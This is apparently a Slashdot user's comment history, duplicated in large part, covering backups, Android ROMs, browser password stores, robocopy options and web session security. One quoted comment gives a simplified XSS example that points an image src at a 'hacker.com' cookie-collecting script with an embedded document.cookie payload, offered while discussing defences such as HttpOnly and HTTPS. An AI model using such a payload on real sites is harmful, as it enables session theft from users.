Correlation not equal to causation comes to mind here. I wonder if the study accounted for the fact that the best lawyers are probably the ones most likely to make the most money and thus have more money to contribute to campaigns. (And by being the best, they also win more cases.)
Listen to this. I work at ZipRecruiter and it is great. I can't say enough good things about it. I'd recommend it to all developers, but experienced Perl/Python developers definitely have a leg up. Make sure to brush up on your interview skills a little as it's never fun to go into those blind.
You sure the dvds were 18 years old? I'm not sure there were even consumer dvd writers available around 1996. Perhaps you meant cds?
I actually had really good luck with my burned cds from around 1998 or so. I was able to read all the data off of them recently. A couple had to slow down a bit to be read, though, so there must have been some sort of degradation. Wonder if it could be more related to the burner you used or maybe the reader you used to try to read them? (Also, I can suggest ddrescue for recovering from cds/dvds if needed. It came in handy when I was recovering a scratched cd with info on it that I really wanted. I used it over and over with a couple of different readers to get a complete image of the data.)
Your hard drive suggestion sounds exactly like what I use. All the data I've read from old cds/dvds I now store on hard drives. I use SnapRaid to create a couple of parity disks. (So I can recover from up to two disks failing. Plus, since it isn't online raid, I can fix deletions and other problems as well.) I occasionally backup onto external hard drives utilizing SnapRaid again and then store them in a firesafe at another location.
Well if we're gonna get technical, you just calculated pixels per dollar whereas he was calculating dollars per pixel. Switch your numbers around: 3000 dollars / 8294400 pixels = 0.00036 dollars per pixel So technically he is still right. It is less than a dollar per pixel.
It snapshots your data to some parity files on a separate drive. All you would have to do is occasionally copy those files offsite. Snapraid includes commands that allows you to check and fix bitrot as well.
Multipar has superseded Quickpar. It allows multiple directories to be handled and is actually still being developed unlike most of the other old par programs.
I've used barcodes on my phone at the theater multiple times just fine and I haven't messed with my brightness settings on my phone. The one time I saw that it didn't work, the guy said he tried to scan it in the wrong part of ordering, so nothing was happening. He started the transaction over and it scanned fine. I wouldn't be surprised if some people have phones with weird screens or screen protectors that mess with the reading of the barcode, though.
On my Verizon Galaxy S3 I rooted and installed BoneStock ROM. I chose this over Cyanogenmod, because it is mostly the stock ROM with lots of tweaks. Since it is basically the stock ROM, you don't lose any features and have less chance of bugs. (For example: No losing your camera.) However, it allows you to pick pretty much everything you want to install on the device and re-enables base features disabled by Verizon. (Wifi tethering for example.) I unselected most of the Verizon bloat along with many Samsung features I did not need. Makes me feel warm and fuzzy inside not having all that bloatware. The features list is huge too. Check out the link below to find all you can do with the ROM.
The xda-developers forum has all sorts of ROMs and root methods, so be sure to navigate to your correct subforum and see all the different ROMs and root methods you can use.
I'd say it's more likely that one of your friends is allowing Facebook to scrape their email account and you are getting associated in that way. There's no need for them to hack your account when they can get all that data from someone else. No matter how much we try to keep our privacy, it's easily destroyed when one of our connections gives up all their data.
They tried using people's linkedin passwords for their email accounts,
Which would require clear text storage of LinkedIn passwords. In 2012 when there was a compromise, LinkedIn claimed that they stored an unsalted hash.
Not necessarily. When the user creates an account or anytime the user logged in LinkedIn could use the password they received to do the email login. It doesn't matter that the password is stored as a hash.
In a further development, a spokesman for Putin said the Russian president had discussed the weapons handover plan with Obama at last week’s G-20 summit.
Firefox certainly gets props for going beyond that, except for 3 things: A) a re-implementation of a keychain outside of the OS opens additional potential security issues. Generally the OS's keychain security will have more eyes / devs looking at it than Firefox's. B) 99% of users dont use the master password mechanism C) once the keychain is unlocked, whether it is the OS keychain or firefox's, any program can access it.
A) Can't argue with this. However, there is guaranteed always on access to Chrome password store while there is not with master password encrypted Firefox store. (While logged in of course. Which is almost always the case for attacks.) B) I agree, but that doesn't mean there isn't extra security for the 1%. The code change to add it would be pretty insignificant and wouldn't need to inconvenience users who don't want it. One could argue this is exactly what extensions are for and I could agree with that. I believe there are some for Chrome/Firefox that utilize Keepass for example. At the same time I believe the Firefox master password is opt-in, which can explain the low uptake. C) Yes, but it's not always guaranteed that the attack will happen when the master password keychain is unlocked or that it will be an ongoing attack. That means this is a security risk mitigation. I'm fine with that.
Only if the attacker is already running arbitrary code with access to the userdata, in which case youre screwed anyways. Such an attacker could simply log keypresses, or wait in the background for firefox's keystore to unlock, he has full access. Trying to defend against arbitrary code running in the user context is really not in the scope of what a browser should be doing.
Yeah, I said as much in my original post. However, there is no guarantee the attacker will wait around (or be around) long enough to keylog. (Might be a hit/run or the user/antivirus might detect something and stop activity.)
This seems to be a classic philosophical debate of ideal security vs realistic security. I understand the ideal security side of this, but I prefer to mitigate risk as much as possible. Luckily we have choices that fit our various needs out there. (Firefox with/without master password. Chrome/Firefox with extensions to add Keepass or other password support. Or just utilizing the OS keychain.)
If you care so little about security that you don't secure your user account, I doubt you care enough about security to worry about your other credentials.
Stupid is as stupid does, as they say.
The problem with this is that it is very short-sighted. There is no 100% effective way to secure an account other than to not use it or to keep it disconnected from networks and away from other users. That may be an acceptable risk for you, but I prefer having another layer of protection.
You need the user's Windows account credentials to decrypt the passwords.
Have you ever seen a user using a Windows machine that isn't logged in? That means there is basically constant access to Chrome passwords. I'd prefer to have the option of a separate master password for my browser like Firefox does. It's not like it would even be that hard for Chrome to implement, so I'm not sure why there is such a struggle to add it. (Could be a hidden advanced feature even.) Are there scenarios where an attacker could get the master password? Yes, of course, but with the current system they are guaranteed access. Are there scenarios where they could not get the master password? Absolutely.
I'd prefer to minimize my security risk. I'm not proposing that you are forced into the same master password system, merely that I have the option to choose it. (Which I currently do by using Firefox.)
Hmm, that's good to know that I should watch out for this if using FAT. I pretty much only use NTFS these days, so this is not something I've ever noted.
I checked out the options in robocopy and I wonder if one of these two would fix this issue:/FFT:: assume FAT File Times (2-second granularity)./DST:: compensate for one-hour DST time differences.
That seems lame it isn't handled automatically by default with an option to switch it off.
Robocopy doesn't keep the ACM dates across volumes. So it is certainly not a 1:1 copy.
Maybe I'm misunderstanding you, but robocopy does keep dates across volumes. You can also control whether or not you want to copy them. File times are copied by default and for directory you add the DCOPY:T parameter. Are you speaking of some other underlying file system date?
They exclude people that don't match the results they want? Sounds like a pretty biased experiment. Or perhaps I'm misunderstanding this experiment? (Granted, it's already not a real random sample either, so it was already heading for statistical hell.)
IP address certainly seems like a great way to filter, but some users are switching IP addresses randomly by using proxies or get new IP addresses more often, because of their connection. So IP can be an unreliable detection method. Also, since it's possible the person is on your network when sniffing your request, they could possibly just use your same IP address anyway.
Using the browser ID (or other headers) is no good either, because the attacker can sniff and use that as well. In fact, nothing that is in a request or response can be helpful, because the attacker can sniff all that and craft their headers to be the same.
HTTPS is the way to stop all this.
The only thing I can see being helpful would maybe be some sort of prenegotiated key to sign the requests with. It would have to be negotiated before the attacker sniffs the connection and last for a long time, though.
All the hacker has to do is embed a link or image into an email and send that email to the Yahoo account of the victim. The victim then logs in and clicks the link or views the images. Assuming Yahoo doesn't filter out he embedded code the hackers gets the victim's cookies.
This assumes Yahoo doesn't filter. Every online company is most definitely going to filter javascript. No website wants someone to inject javascript into their pages. Your attack only works if there is a bug in the filter.
If the user can inject javascript, they don't even need to use an image. They can directly do whatever they want in javascript.
Obviously more complicated because you need to mask your embedded code to get through the filters but that is the basis of the XSS hack that has been hitting Yahoo all year...
If this was true, Yahoo would be completely incompetent for not patching their filter. Do you have a source for this?
And because the sessions on the server never expire the hacker can gain access. I'm not sure how https would help in this scenario.
Session expiration only can minimize the possible damage. In reality, the second the attacker gets the session id they could do whatever they wanted with it. Unless you are expiring the session every second, it does not stop an instant attack. I do agree that it can help minimize the danger, though, so it is still useful.
Basically you need to pass a salted, hashed version of the session ID or random string (as a hidden form field) on all page views or form submissions and check that against both the session cookie and the hidden form field to make sure the cookie is coming from the original source (since there would be no way for the hacker to get that string as well). And invalidate the session if it doesn't match up. Also expire and delete the sessions after 6 hours of inactivity would help as well.
Your whole assumption is based on the attacker having access to javascript. If they have that, then your hidden form field is useless, because they have access to that as well.
Real solution for your javascript attack method: Add HTTP_ONLY attribute to cookies, which prevents javascript access.
As far as stopping a person attacking by sniffing the line, HTTPS is the only way to fix that. I could possibly see a way for a site to create a predetermined key for the user and store it with HTML5 Web Storage. Then submissions via javascript could use that key to sign the content being submitted. (Or encrypt it outright.) Since most of these attacks are drive-bys, it's less likely the attacker would have the pre-negotiated key. This is a more complicated solution and has its own flaws of course.
I've switched motherboards out at least two different times in the past and reused the current Windows install (XP both times I think) when I did it. So it's definitely possible for it to work.
The WRT54GL is the reincarnation of the original WRT54G. The WRT54G used linux until version 5 when it switched to VX Works OS. It sounds like AC's was one of the original ones, so it is relevant this thread.
Pro-tip: Take care of your mouth. Brush your teeth and tongue at least twice a day. In particular get that white/yellow stuff off your tongue, including on the back of it. You may gag a bit at first, but you'll get used to it. Also, floss. 90% of issues fixed. Now garlic and other smells you are on your own.
Steam has a very consistent schedule of getting updates on Tuesday, many of which take the network down. I would not be surprised if this was the case. I've learned to avoid any games that require a Steam connection on Tuesdays. (Usually ones that are tracking achievements that affect the game or using steam cloud I would guess.)
Slashdot Mirror
Correlation not equal to causation comes to mind here. I wonder if the study accounted for the fact that the best lawyers are probably the ones most likely to make the most money and thus have more money to contribute to campaigns. (And by being the best, they also win more cases.)
Listen to this. I work at ZipRecruiter and it is great. I can't say enough good things about it. I'd recommend it to all developers, but experienced Perl/Python developers definitely have a leg up. Make sure to brush up on your interview skills a little as it's never fun to go into those blind.
You sure the dvds were 18 years old? I'm not sure there were even consumer dvd writers available around 1996. Perhaps you meant cds?
I actually had really good luck with my burned cds from around 1998 or so. I was able to read all the data off of them recently. A couple had to slow down a bit to be read, though, so there must have been some sort of degradation. Wonder if it could be more related to the burner you used or maybe the reader you used to try to read them? (Also, I can suggest ddrescue for recovering from cds/dvds if needed. It came in handy when I was recovering a scratched cd with info on it that I really wanted. I used it over and over with a couple of different readers to get a complete image of the data.)
Your hard drive suggestion sounds exactly like what I use. All the data I've read from old cds/dvds I now store on hard drives. I use SnapRaid to create a couple of parity disks. (So I can recover from up to two disks failing. Plus, since it isn't online raid, I can fix deletions and other problems as well.) I occasionally backup onto external hard drives utilizing SnapRaid again and then store them in a firesafe at another location.
Box Fan + Filter. Posted 6 years ago
Box Fan + Filter. Posted 3 years ago from a university
Not sure if these are the same thing. If it is, then it's sad this knowledge isn't more common place to help people out.
Well if we're gonna get technical, you just calculated pixels per dollar whereas he was calculating dollars per pixel. Switch your numbers around:
3000 dollars / 8294400 pixels = 0.00036 dollars per pixel
So technically he is still right. It is less than a dollar per pixel.
Snapraid (free!) might be an option: http://snapraid.sourceforge.net/
It snapshots your data to some parity files on a separate drive. All you would have to do is occasionally copy those files offsite. Snapraid includes commands that allows you to check and fix bitrot as well.
Multipar has superseded Quickpar. It allows multiple directories to be handled and is actually still being developed unlike most of the other old par programs.
http://multipar.eu/
http://hp.vector.co.jp/authors/VA021385/
I've used barcodes on my phone at the theater multiple times just fine and I haven't messed with my brightness settings on my phone. The one time I saw that it didn't work, the guy said he tried to scan it in the wrong part of ordering, so nothing was happening. He started the transaction over and it scanned fine. I wouldn't be surprised if some people have phones with weird screens or screen protectors that mess with the reading of the barcode, though.
On my Verizon Galaxy S3 I rooted and installed BoneStock ROM. I chose this over Cyanogenmod, because it is mostly the stock ROM with lots of tweaks. Since it is basically the stock ROM, you don't lose any features and have less chance of bugs. (For example: No losing your camera.) However, it allows you to pick pretty much everything you want to install on the device and re-enables base features disabled by Verizon. (Wifi tethering for example.) I unselected most of the Verizon bloat along with many Samsung features I did not need. Makes me feel warm and fuzzy inside not having all that bloatware. The features list is huge too. Check out the link below to find all you can do with the ROM.
The BoneStock ROM can be found here: http://forum.xda-developers.com/showthread.php?t=2275376
The xda-developers forum has all sorts of ROMs and root methods, so be sure to navigate to your correct subforum and see all the different ROMs and root methods you can use.
I'd say it's more likely that one of your friends is allowing Facebook to scrape their email account and you are getting associated in that way. There's no need for them to hack your account when they can get all that data from someone else. No matter how much we try to keep our privacy, it's easily destroyed when one of our connections gives up all their data.
Which would require clear text storage of LinkedIn passwords. In 2012 when there was a compromise, LinkedIn claimed that they stored an unsalted hash.
Not necessarily. When the user creates an account or anytime the user logged in LinkedIn could use the password they received to do the email login. It doesn't matter that the password is stored as a hash.
I saw an article today that suggests that this may have actually came up at the G20:
http://worldnews.nbcnews.com/_news/2013/09/10/20416189-obama-agrees-to-un-discussion-of-russia-proposal-on-syria-chemical-weapons?lite
In a further development, a spokesman for Putin said the Russian president had discussed the weapons handover plan with Obama at last week’s G-20 summit.
Firefox certainly gets props for going beyond that, except for 3 things:
A) a re-implementation of a keychain outside of the OS opens additional potential security issues. Generally the OS's keychain security will have more eyes / devs looking at it than Firefox's.
B) 99% of users dont use the master password mechanism
C) once the keychain is unlocked, whether it is the OS keychain or firefox's, any program can access it.
A) Can't argue with this. However, there is guaranteed always on access to Chrome password store while there is not with master password encrypted Firefox store. (While logged in of course. Which is almost always the case for attacks.)
B) I agree, but that doesn't mean there isn't extra security for the 1%. The code change to add it would be pretty insignificant and wouldn't need to inconvenience users who don't want it. One could argue this is exactly what extensions are for and I could agree with that. I believe there are some for Chrome/Firefox that utilize Keepass for example. At the same time I believe the Firefox master password is opt-in, which can explain the low uptake.
C) Yes, but it's not always guaranteed that the attack will happen when the master password keychain is unlocked or that it will be an ongoing attack. That means this is a security risk mitigation. I'm fine with that.
Only if the attacker is already running arbitrary code with access to the userdata, in which case youre screwed anyways. Such an attacker could simply log keypresses, or wait in the background for firefox's keystore to unlock, he has full access. Trying to defend against arbitrary code running in the user context is really not in the scope of what a browser should be doing.
Yeah, I said as much in my original post. However, there is no guarantee the attacker will wait around (or be around) long enough to keylog. (Might be a hit/run or the user/antivirus might detect something and stop activity.)
This seems to be a classic philosophical debate of ideal security vs realistic security. I understand the ideal security side of this, but I prefer to mitigate risk as much as possible. Luckily we have choices that fit our various needs out there. (Firefox with/without master password. Chrome/Firefox with extensions to add Keepass or other password support. Or just utilizing the OS keychain.)
If you care so little about security that you don't secure your user account, I doubt you care enough about security to worry about your other credentials.
Stupid is as stupid does, as they say.
The problem with this is that it is very short-sighted. There is no 100% effective way to secure an account other than to not use it or to keep it disconnected from networks and away from other users. That may be an acceptable risk for you, but I prefer having another layer of protection.
You need the user's Windows account credentials to decrypt the passwords.
Have you ever seen a user using a Windows machine that isn't logged in? That means there is basically constant access to Chrome passwords. I'd prefer to have the option of a separate master password for my browser like Firefox does. It's not like it would even be that hard for Chrome to implement, so I'm not sure why there is such a struggle to add it. (Could be a hidden advanced feature even.) Are there scenarios where an attacker could get the master password? Yes, of course, but with the current system they are guaranteed access. Are there scenarios where they could not get the master password? Absolutely.
I'd prefer to minimize my security risk. I'm not proposing that you are forced into the same master password system, merely that I have the option to choose it. (Which I currently do by using Firefox.)
Hmm, that's good to know that I should watch out for this if using FAT. I pretty much only use NTFS these days, so this is not something I've ever noted.
I checked out the options in robocopy and I wonder if one of these two would fix this issue: /FFT :: assume FAT File Times (2-second granularity). /DST :: compensate for one-hour DST time differences.
That seems lame it isn't handled automatically by default with an option to switch it off.
Robocopy doesn't keep the ACM dates across volumes. So it is certainly not a 1:1 copy.
Maybe I'm misunderstanding you, but robocopy does keep dates across volumes. You can also control whether or not you want to copy them. File times are copied by default and for directory you add the DCOPY:T parameter. Are you speaking of some other underlying file system date?
That number is over 3 years according to the summary, so you need to divide by 3.
They exclude people that don't match the results they want? Sounds like a pretty biased experiment. Or perhaps I'm misunderstanding this experiment? (Granted, it's already not a real random sample either, so it was already heading for statistical hell.)
IP address certainly seems like a great way to filter, but some users are switching IP addresses randomly by using proxies or get new IP addresses more often, because of their connection. So IP can be an unreliable detection method. Also, since it's possible the person is on your network when sniffing your request, they could possibly just use your same IP address anyway.
Using the browser ID (or other headers) is no good either, because the attacker can sniff and use that as well. In fact, nothing that is in a request or response can be helpful, because the attacker can sniff all that and craft their headers to be the same.
HTTPS is the way to stop all this.
The only thing I can see being helpful would maybe be some sort of prenegotiated key to sign the requests with. It would have to be negotiated before the attacker sniffs the connection and last for a long time, though.
All the hacker has to do is embed a link or image into an email and send that email to the Yahoo account of the victim. The victim then logs in and clicks the link or views the images. Assuming Yahoo doesn't filter out he embedded code the hackers gets the victim's cookies.
This assumes Yahoo doesn't filter. Every online company is most definitely going to filter javascript. No website wants someone to inject javascript into their pages. Your attack only works if there is a bug in the filter.
Simplified example:
Embedded image src in email: http://www.hacker.com/cookieparser.php?default=<script>alert(document.cookie)</script>
If the user can inject javascript, they don't even need to use an image. They can directly do whatever they want in javascript.
Obviously more complicated because you need to mask your embedded code to get through the filters but that is the basis of the XSS hack that has been hitting Yahoo all year ...
If this was true, Yahoo would be completely incompetent for not patching their filter. Do you have a source for this?
And because the sessions on the server never expire the hacker can gain access. I'm not sure how https would help in this scenario.
Session expiration only can minimize the possible damage. In reality, the second the attacker gets the session id they could do whatever they wanted with it. Unless you are expiring the session every second, it does not stop an instant attack. I do agree that it can help minimize the danger, though, so it is still useful.
Basically you need to pass a salted, hashed version of the session ID or random string (as a hidden form field) on all page views or form submissions and check that against both the session cookie and the hidden form field to make sure the cookie is coming from the original source (since there would be no way for the hacker to get that string as well). And invalidate the session if it doesn't match up. Also expire and delete the sessions after 6 hours of inactivity would help as well.
Your whole assumption is based on the attacker having access to javascript. If they have that, then your hidden form field is useless, because they have access to that as well.
Real solution for your javascript attack method: Add HTTP_ONLY attribute to cookies, which prevents javascript access.
As far as stopping a person attacking by sniffing the line, HTTPS is the only way to fix that. I could possibly see a way for a site to create a predetermined key for the user and store it with HTML5 Web Storage. Then submissions via javascript could use that key to sign the content being submitted. (Or encrypt it outright.) Since most of these attacks are drive-bys, it's less likely the attacker would have the pre-negotiated key. This is a more complicated solution and has its own flaws of course.
I've switched motherboards out at least two different times in the past and reused the current Windows install (XP both times I think) when I did it. So it's definitely possible for it to work.
WRT54G is not WRT54GL.
The WRT54GL is the reincarnation of the original WRT54G. The WRT54G used linux until version 5 when it switched to VX Works OS. It sounds like AC's was one of the original ones, so it is relevant this thread.
See here for details: http://en.wikipedia.org/wiki/Linksys_WRT54G_series#WRT54GL
"The WRT54GL is technically a reissue of the version 4 WRT54G."
Pro-tip: Take care of your mouth. Brush your teeth and tongue at least twice a day. In particular get that white/yellow stuff off your tongue, including on the back of it. You may gag a bit at first, but you'll get used to it. Also, floss. 90% of issues fixed. Now garlic and other smells you are on your own.
Steam has a very consistent schedule of getting updates on Tuesday, many of which take the network down. I would not be surprised if this was the case. I've learned to avoid any games that require a Steam connection on Tuesdays. (Usually ones that are tracking achievements that affect the game or using steam cloud I would guess.)